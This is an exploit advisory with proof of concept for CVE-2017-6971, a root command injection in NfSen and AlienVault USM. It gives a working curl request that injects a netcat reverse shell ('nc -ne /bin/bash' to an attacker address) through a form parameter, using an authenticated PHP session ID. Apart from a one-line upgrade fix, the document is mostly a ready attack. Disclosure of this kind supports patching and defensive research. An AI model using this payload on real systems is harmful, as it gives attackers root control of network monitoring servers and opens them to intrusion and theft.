# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection) # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected. # Version: AlienVault 5.3.4 # Date: 2017-07-10 # Vendor Homepage: http://nfsen.sourceforge.net/ # Vendor Homepage: http://www.alienvault.com/ # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Tested on: AlienVault USM 5.3.4 # CVE: CVE-2017-6971 1. Description A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system. 2. Proof of Concept # From a linux bash prompt on the attacker's machine: # Set target IP targetip='10.100.1.1' # Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One): cmd='nc -ne /bin/bash 10.100.1.2 443'; # Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI. PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7'; # Next use curl to send the exploit curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php 3. Solution: Update to latest version of NfSen/USM/OSSIM